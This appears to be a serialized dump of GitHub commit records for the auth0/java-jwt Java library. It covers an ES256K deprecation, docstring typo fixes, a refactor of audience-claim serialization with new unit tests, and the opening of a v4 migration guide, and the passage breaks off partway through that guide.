  * This holds the checks that are run to verify a JWT.previous_filenameClib/src/main/java/com/auth0/jwt/interfaces/ExpectedCheckHolder.javaueu(db663b6cf0fddae16d17a553cd28ead69d68deda}(sha(db663b6cf0fddae16d17a553cd28ead69d68dedanode_idEC_kwDOAQtL0doAKGRiNjYzYjZjZjBmZGRhZTE2ZDE3YTU1M2NkMjhlYWQ2OWQ2OGRlZGEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-25T02:57:43Zu	committer}(ji  GitHubj	i  noreply@github.comji  2022-10-25T02:57:43Zumessage(Merge branch 'master' into release/4.2.1tree}(jh  (4a400a9b68c2c6902c8a276ed1804edefa57fdecurl^https://api.github.com/repos/auth0/java-jwt/git/trees/4a400a9b68c2c6902c8a276ed1804edefa57fdecuji  `https://api.github.com/repos/auth0/java-jwt/git/commits/db663b6cf0fddae16d17a553cd28ead69d68deda
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV1CnCRBK7hj4Ov3rIwAAbgAIAC6kXmn4aUXqbB69dI/9bQ9c
NpamWfUjk0R/sGCQ1anYzFb1mKRHTT5CFfK5rPKlZr/JXVwSDjKpyMfHSDEPpaGb
Un2VymfCSielQ5IUwgYeFnnaBvBCTtxLDt8DnOQHnvV9tsLXVF3iUzekaDW+Nlqo
IOUh+hXvAOoV/KAraKyR+rE+b+KZmlgBbSAihK7Cawut7R2j59oJ+mqW9oECIxhW
XA3neH42GZoWyhL8AiUHxiVVChPq8lxYCveYcjB+ZwX6fL//yXJyKGPjHbWpktL6
7GarLRL0T14/bs/lREZE2OpdQeq+OE7CKxVSB18HE0sH1hW21ybHDgbzTFsJ9J0=
=Prww
-----END PGP SIGNATURE-----
payloadX,  tree 4a400a9b68c2c6902c8a276ed1804edefa57fdec
parent 119c2a8a8a82ef3955c03c8a0a482e763aa75c34
parent 4c2533dbd0bc1aa714ac7d0e291652cdaecdd265
author Jim Anderson <jim.anderson@auth0.com> 1666666663 -0500
committer GitHub <noreply@github.com> 1666666663 -0500

Merge branch 'master' into release/4.2.1uuji  \https://api.github.com/repos/auth0/java-jwt/commits/db663b6cf0fddae16d17a553cd28ead69d68dedahtml_urlQhttps://github.com/auth0/java-jwt/commit/db663b6cf0fddae16d17a553cd28ead69d68dedacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/db663b6cf0fddae16d17a553cd28ead69d68deda/commentsji  }(login
jimmyjamesidJ7 ji  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3ji  'https://api.github.com/users/jimmyjamesj%i  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj
i  }(j*i  web-flowj,i  J/ji  MDQ6VXNlcjE5ODY0NDQ3j.i  4https://avatars.githubusercontent.com/u/19864447?v=4j0i  h3ji  %https://api.github.com/users/web-flowj%i  https://github.com/web-flowj3i  /https://api.github.com/users/web-flow/followersj5i  <https://api.github.com/users/web-flow/following{/other_user}j7i  5https://api.github.com/users/web-flow/gists{/gist_id}j9i  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j;i  3https://api.github.com/users/web-flow/subscriptionsj=i  *https://api.github.com/users/web-flow/orgsj?i  +https://api.github.com/users/web-flow/reposjAi  6https://api.github.com/users/web-flow/events{/privacy}jCi  5https://api.github.com/users/web-flow/received_eventsjEi  UserjGi  uparents](}(jh  (119c2a8a8a82ef3955c03c8a0a482e763aa75c34ji  \https://api.github.com/repos/auth0/java-jwt/commits/119c2a8a8a82ef3955c03c8a0a482e763aa75c34j%i  Qhttps://github.com/auth0/java-jwt/commit/119c2a8a8a82ef3955c03c8a0a482e763aa75c34u}(jh  (4c2533dbd0bc1aa714ac7d0e291652cdaecdd265ji  \https://api.github.com/repos/auth0/java-jwt/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265j%i  Qhttps://github.com/auth0/java-jwt/commit/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265uestats}(totalK	additionsK	deletionsKufiles]}(jh  (bfa4345de0bd2828c652b257b3646a8a238ecff7filename	README.mdstatusmodifiedjei  Kjfi  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/db663b6cf0fddae16d17a553cd28ead69d68deda/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/db663b6cf0fddae16d17a553cd28ead69d68deda/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=db663b6cf0fddae16d17a553cd28ead69d68dedapatchXe  @@ -187,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### :key: HMAC Key Length and Security
+##### HMAC Key Length and Security
 
 When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 uau(c826db8bbc317d65a95ba42fc13d8a929246ebb9}(sha(c826db8bbc317d65a95ba42fc13d8a929246ebb9node_idEC_kwDOAQtL0doAKGM4MjZkYjhiYmMzMTdkNjVhOTViYTQyZmMxM2Q4YTkyOTI0NmViYjkcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-14T14:21:08Zu	committer}(ji  
Poovamraj T Tji  poovamraj@gmail.comji  2022-03-16T11:34:42ZumessageuDeprecate ES256K Algorithm (#543)

* [SDK-3192] Deprecate secp256k1 curve for EC Algorithms

* Documentation updatetree}(jzi  (2e99eed72de7019039a100fdf0d5b061b3619940url^https://api.github.com/repos/auth0/java-jwt/git/trees/2e99eed72de7019039a100fdf0d5b061b3619940uji  `https://api.github.com/repos/auth0/java-jwt/git/commits/c826db8bbc317d65a95ba42fc13d8a929246ebb9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuji  \https://api.github.com/repos/auth0/java-jwt/commits/c826db8bbc317d65a95ba42fc13d8a929246ebb9html_urlQhttps://github.com/auth0/java-jwt/commit/c826db8bbc317d65a95ba42fc13d8a929246ebb9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c826db8bbc317d65a95ba42fc13d8a929246ebb9/commentsji  }(login	poovamrajidJ j|i  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3ji  &https://api.github.com/users/poovamrajji  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuji  }(ji  	poovamrajji  J j|i  MDQ6VXNlcjE1OTEwNDI1ji  4https://avatars.githubusercontent.com/u/15910425?v=4ji  h3ji  &https://api.github.com/users/poovamrajji  https://github.com/poovamrajji  0https://api.github.com/users/poovamraj/followersji  =https://api.github.com/users/poovamraj/following{/other_user}ji  6https://api.github.com/users/poovamraj/gists{/gist_id}ji  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}ji  4https://api.github.com/users/poovamraj/subscriptionsji  +https://api.github.com/users/poovamraj/orgsji  ,https://api.github.com/users/poovamraj/reposji  7https://api.github.com/users/poovamraj/events{/privacy}ji  6https://api.github.com/users/poovamraj/received_eventsji  Userji  uparents]}(jzi  (fef3ccf0e03b4557faa110432466c631c0cc3fffji  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffji  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalK	additionsK	deletionsK ufiles]}(jzi  (2e1904df14fe88e55de2c6c0d870e60a95e87468filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedji  Kji  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/c826db8bbc317d65a95ba42fc13d8a929246ebb9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c826db8bbc317d65a95ba42fc13d8a929246ebb9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=c826db8bbc317d65a95ba42fc13d8a929246ebb9patchX  @@ -183,7 +183,11 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -195,7 +199,11 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
         return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
     }uau(236fef32115d3f3e816c45b049e7aac77080f1dd}(sha(236fef32115d3f3e816c45b049e7aac77080f1ddnode_idEC_kwDOAQtL0doAKDIzNmZlZjMyMTE1ZDNmM2U4MTZjNDViMDQ5ZTdhYWM3NzA4MGYxZGQcommit}(author}(name
OdunlamiZOemailzaccheusodunlami@gmail.comdate2022-02-13T12:52:22Zu	committer}(ji  
OdunlamiZOji  zaccheusodunlami@gmail.comji  2022-02-13T12:52:22Zumessage)fix typos in JWTVerifier#verify docstringtree}(ji  (7a96b2db5ff50f641ab15469018d177ede206da5url^https://api.github.com/repos/auth0/java-jwt/git/trees/7a96b2db5ff50f641ab15469018d177ede206da5ujj  `https://api.github.com/repos/auth0/java-jwt/git/commits/236fef32115d3f3e816c45b049e7aac77080f1dd
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujj  \https://api.github.com/repos/auth0/java-jwt/commits/236fef32115d3f3e816c45b049e7aac77080f1ddhtml_urlQhttps://github.com/auth0/java-jwt/commit/236fef32115d3f3e816c45b049e7aac77080f1ddcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/236fef32115d3f3e816c45b049e7aac77080f1dd/commentsji  }(login
OdunlamiZOidJaji  MDQ6VXNlcjY3NjAyNzg1
avatar_url4https://avatars.githubusercontent.com/u/67602785?v=4gravatar_idh3jj  'https://api.github.com/users/OdunlamiZOjj  https://github.com/OdunlamiZO
followers_url1https://api.github.com/users/OdunlamiZO/followers
following_url>https://api.github.com/users/OdunlamiZO/following{/other_user}	gists_url7https://api.github.com/users/OdunlamiZO/gists{/gist_id}starred_url>https://api.github.com/users/OdunlamiZO/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/OdunlamiZO/subscriptionsorganizations_url,https://api.github.com/users/OdunlamiZO/orgs	repos_url-https://api.github.com/users/OdunlamiZO/repos
events_url8https://api.github.com/users/OdunlamiZO/events{/privacy}received_events_url7https://api.github.com/users/OdunlamiZO/received_eventstypeUser
site_adminuji  }(jj  
OdunlamiZOjj  Jaji  MDQ6VXNlcjY3NjAyNzg1jj  4https://avatars.githubusercontent.com/u/67602785?v=4jj  h3jj  'https://api.github.com/users/OdunlamiZOjj  https://github.com/OdunlamiZOj!j  1https://api.github.com/users/OdunlamiZO/followersj#j  >https://api.github.com/users/OdunlamiZO/following{/other_user}j%j  7https://api.github.com/users/OdunlamiZO/gists{/gist_id}j'j  >https://api.github.com/users/OdunlamiZO/starred{/owner}{/repo}j)j  5https://api.github.com/users/OdunlamiZO/subscriptionsj+j  ,https://api.github.com/users/OdunlamiZO/orgsj-j  -https://api.github.com/users/OdunlamiZO/reposj/j  8https://api.github.com/users/OdunlamiZO/events{/privacy}j1j  7https://api.github.com/users/OdunlamiZO/received_eventsj3j  Userj5j  uparents]}(ji  (9e4408706f56e17e10f66202630b5a161401add7jj  \https://api.github.com/repos/auth0/java-jwt/commits/9e4408706f56e17e10f66202630b5a161401add7jj  Qhttps://github.com/auth0/java-jwt/commit/9e4408706f56e17e10f66202630b5a161401add7uastats}(totalK	additionsK	deletionsKufiles]}(ji  (17f182c28db7f444125fdb45fc1272fcfd5cdcb2filename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedjOj  KjPj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/236fef32115d3f3e816c45b049e7aac77080f1dd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/236fef32115d3f3e816c45b049e7aac77080f1dd/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=236fef32115d3f3e816c45b049e7aac77080f1ddpatchX  @@ -272,7 +272,7 @@ private static boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header it's not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -288,7 +288,7 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header it's not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.uau(0dc9fd0a8da62b0a71e18c7b77fd536138755845}(sha(0dc9fd0a8da62b0a71e18c7b77fd536138755845node_idPMDY6Q29tbWl0MTc1MTc1MjE6MGRjOWZkMGE4ZGE2MmIwYTcxZTE4YzdiNzdmZDUzNjEzODc1NTg0NQ==commit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2021-09-03T16:09:42Zu	committer}(jlj  James Andersonjnj  jim.anderson@auth0.comjpj  2021-09-03T16:09:42Zumessage$Serialize audience claim when a Listtree}(jdj  (a89da3885ca7929598c96bcf70234b8ffbe5efbdurl^https://api.github.com/repos/auth0/java-jwt/git/trees/a89da3885ca7929598c96bcf70234b8ffbe5efbduj|j  `https://api.github.com/repos/auth0/java-jwt/git/commits/0dc9fd0a8da62b0a71e18c7b77fd536138755845
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj|j  \https://api.github.com/repos/auth0/java-jwt/commits/0dc9fd0a8da62b0a71e18c7b77fd536138755845html_urlQhttps://github.com/auth0/java-jwt/commit/0dc9fd0a8da62b0a71e18c7b77fd536138755845comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0dc9fd0a8da62b0a71e18c7b77fd536138755845/commentsjjj  }(login
jimmyjamesidJ7 jfj  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j|j  'https://api.github.com/users/jimmyjamesjj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujrj  }(jj  
jimmyjamesjj  J7 jfj  MDQ6VXNlcjI3NjIyNQ==jj  2https://avatars.githubusercontent.com/u/276225?v=4jj  h3j|j  'https://api.github.com/users/jimmyjamesjj  https://github.com/jimmyjamesjj  1https://api.github.com/users/jimmyjames/followersjj  >https://api.github.com/users/jimmyjames/following{/other_user}jj  7https://api.github.com/users/jimmyjames/gists{/gist_id}jj  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jj  5https://api.github.com/users/jimmyjames/subscriptionsjj  ,https://api.github.com/users/jimmyjames/orgsjj  -https://api.github.com/users/jimmyjames/reposjj  8https://api.github.com/users/jimmyjames/events{/privacy}jj  7https://api.github.com/users/jimmyjames/received_eventsjj  Userjj  uparents]}(jdj  (364bf598ac1da6305b95633e4d3e38933585e7b0j|j  \https://api.github.com/repos/auth0/java-jwt/commits/364bf598ac1da6305b95633e4d3e38933585e7b0jj  Qhttps://github.com/auth0/java-jwt/commit/364bf598ac1da6305b95633e4d3e38933585e7b0uastats}(totalK	additionsK_	deletionsK"ufiles](}(jdj  (8a86c04ac8fb0b2adede52416f8876e50d3c9739filename;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javastatusmodifiedjj  K(jj  KchangesKFblob_urlhttps://github.com/auth0/java-jwt/blob/0dc9fd0a8da62b0a71e18c7b77fd536138755845/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0dc9fd0a8da62b0a71e18c7b77fd536138755845/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=0dc9fd0a8da62b0a71e18c7b77fd536138755845patchX(  @@ -5,8 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
-import java.util.Date;
-import java.util.Map;
+import java.util.*;
 
 /**
  * Jackson serializer implementation for converting into JWT Payload parts.
@@ -30,40 +29,51 @@ public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider
 
         gen.writeStartObject();
         for (Map.Entry<String, Object> e : holder.getClaims().entrySet()) {
-            switch (e.getKey()) {
-                case PublicClaims.AUDIENCE:
-                    if (e.getValue() instanceof String) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString((String) e.getValue());
-                        break;
-                    }
-                    String[] audArray = (String[]) e.getValue();
-                    if (audArray.length == 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeString(audArray[0]);
-                    } else if (audArray.length > 1) {
-                        gen.writeFieldName(e.getKey());
-                        gen.writeStartArray();
-                        for (String aud : audArray) {
-                            gen.writeString(aud);
-                        }
-                        gen.writeEndArray();
-                    }
-                    break;
-                default:
-                    gen.writeFieldName(e.getKey());
-                    if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                        gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                    } else {
-                        gen.writeObject(e.getValue());
-                    }
-                    break;
+            if (PublicClaims.AUDIENCE.equals(e.getKey())) {
+                writeAudience(gen, e);
+            } else {
+                gen.writeFieldName(e.getKey());
+                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
+                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
+                } else {
+                    gen.writeObject(e.getValue());
+                }
             }
         }
 
         gen.writeEndObject();
     }
 
+    private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
+        if (e.getValue() instanceof String) {
+            gen.writeFieldName(e.getKey());
+            gen.writeString((String) e.getValue());
+        } else {
+            List<String> audArray = new ArrayList<>();
+            if (e.getValue() instanceof String[]) {
+                audArray = Arrays.asList((String[]) e.getValue());
+            } else if (e.getValue() instanceof List) {
+                List<?> audList = (List<?>) e.getValue();
+                for (Object aud : audList) {
+                    if (aud instanceof String) {
+                        audArray.add((String)aud);
+                    }
+                }
+            }
+            if (audArray.size() == 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeString(audArray.get(0));
+            } else if (audArray.size() > 1) {
+                gen.writeFieldName(e.getKey());
+                gen.writeStartArray();
+                for (String aud : audArray) {
+                    gen.writeString(aud);
+                }
+                gen.writeEndArray();
+            }
+        }
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(jdj  (3ebc29dd770df4bf0b998669c1fc7683a3a38371jj  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javajj  modifiedjj  K7jj  Kjj  K;jj  https://github.com/auth0/java-jwt/blob/0dc9fd0a8da62b0a71e18c7b77fd536138755845/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javajj  https://github.com/auth0/java-jwt/raw/0dc9fd0a8da62b0a71e18c7b77fd536138755845/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javajj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=0dc9fd0a8da62b0a71e18c7b77fd536138755845jj  X
  @@ -9,10 +9,7 @@
 import org.junit.Test;
 
 import java.io.StringWriter;
-import java.util.Arrays;
-import java.util.Date;
-import java.util.HashMap;
-import java.util.Map;
+import java.util.*;
 
 import static org.hamcrest.Matchers.*;
 import static org.junit.Assert.assertThat;
@@ -80,6 +77,60 @@ public void shouldSkipSerializationOnEmptyAudience() throws Exception {
         assertThat(writer.toString(), is(equalTo("{}")));
     }
 
+    @Test
+    public void shouldSerializeSingleItemAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList("auth0"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":\"auth0\"}")));
+    }
+
+    @Test
+    public void shouldSerializeMultipleItemsAudienceAsArrayWhenAList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipSerializationOnEmptyAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", new ArrayList());
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenSingleItemList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Collections.singletonList(2));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudienceWhenList() throws Exception {
+        ClaimsHolder holder = holderFor("aud", Arrays.asList("auth0", 2, "auth10"));
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{\"aud\":[\"auth0\",\"auth10\"]}")));
+    }
+
+    @Test
+    public void shouldSkipNonStringsOnAudience() throws Exception {
+        ClaimsHolder holder = holderFor("aud", 4);
+        serializer.serialize(holder, jsonGenerator, serializerProvider);
+        jsonGenerator.flush();
+
+        assertThat(writer.toString(), is(equalTo("{}")));
+    }
+
     @Test
     public void shouldSerializeNotBeforeDateInSeconds() throws Exception {
         ClaimsHolder holder = holderFor("nbf", new Date(1478874000));ueu(5d8776d7e3d14f9d454404813ae0656c3a8edf2d}(sha(5d8776d7e3d14f9d454404813ae0656c3a8edf2dnode_idEC_kwDOAQtL0doAKDVkODc3NmQ3ZTNkMTRmOWQ0NTQ0MDQ4MTNhZTA2NTZjM2E4ZWRmMmQcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-04-18T22:04:19Zu	committer}(jj  James Andersonjj  jim.anderson@auth0.comjj  2022-04-18T22:04:28Zumessage[SDK-3244] Add Migration Guidetree}(jj  (7dd878ff72fb1fa96b9f43de711631ff3c98e9ceurl^https://api.github.com/repos/auth0/java-jwt/git/trees/7dd878ff72fb1fa96b9f43de711631ff3c98e9ceujj  `https://api.github.com/repos/auth0/java-jwt/git/commits/5d8776d7e3d14f9d454404813ae0656c3a8edf2d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujj  \https://api.github.com/repos/auth0/java-jwt/commits/5d8776d7e3d14f9d454404813ae0656c3a8edf2dhtml_urlQhttps://github.com/auth0/java-jwt/commit/5d8776d7e3d14f9d454404813ae0656c3a8edf2dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5d8776d7e3d14f9d454404813ae0656c3a8edf2d/commentsjj  }(login
jimmyjamesidJ7 jj  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jj  'https://api.github.com/users/jimmyjamesjk  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujj  }(j
k  
jimmyjamesjk  J7 jj  MDQ6VXNlcjI3NjIyNQ==jk  2https://avatars.githubusercontent.com/u/276225?v=4jk  h3jj  'https://api.github.com/users/jimmyjamesjk  https://github.com/jimmyjamesjk  1https://api.github.com/users/jimmyjames/followersjk  >https://api.github.com/users/jimmyjames/following{/other_user}jk  7https://api.github.com/users/jimmyjames/gists{/gist_id}jk  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jk  5https://api.github.com/users/jimmyjames/subscriptionsjk  ,https://api.github.com/users/jimmyjames/orgsjk  -https://api.github.com/users/jimmyjames/reposj!k  8https://api.github.com/users/jimmyjames/events{/privacy}j#k  7https://api.github.com/users/jimmyjames/received_eventsj%k  Userj'k  uparents]}(jj  (8131361c0a24413aa57499b307d233294b83b3edjj  \https://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3edjk  Qhttps://github.com/auth0/java-jwt/commit/8131361c0a24413aa57499b307d233294b83b3eduastats}(totalKT	additionsKT	deletionsK ufiles]}(jj  (1f95f32386f9168505e2513bfb492e4472e1fadbfilenameMIGRATION_GUIDE.mdstatusaddedjAk  KTjBk  K changesKTblob_urlbhttps://github.com/auth0/java-jwt/blob/5d8776d7e3d14f9d454404813ae0656c3a8edf2d/MIGRATION_GUIDE.mdraw_urlahttps://github.com/auth0/java-jwt/raw/5d8776d7e3d14f9d454404813ae0656c3a8edf2d/MIGRATION_GUIDE.mdcontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/MIGRATION_GUIDE.md?ref=5d8776d7e3d14f9d454404813ae0656c3a8edf2dpatchX  @@ -0,0 +1,84 @@
+# Migration Guide
+
+## Upgrading from v3.x -> v4.0
+
+The version 4 release contains several improvements:
+
+- Support for `java.time.Instant` when creating or verifying JWTs with Numeric Date claim values.
+- Improvements to JWT claim validation, including support for custom claim validation using Predicates.
+- Improved exception handling when validating JWTs, to better inform of the reason for failed validation.
+- Consistent handling of `null` claim values both when creating and validation JWTs.
+
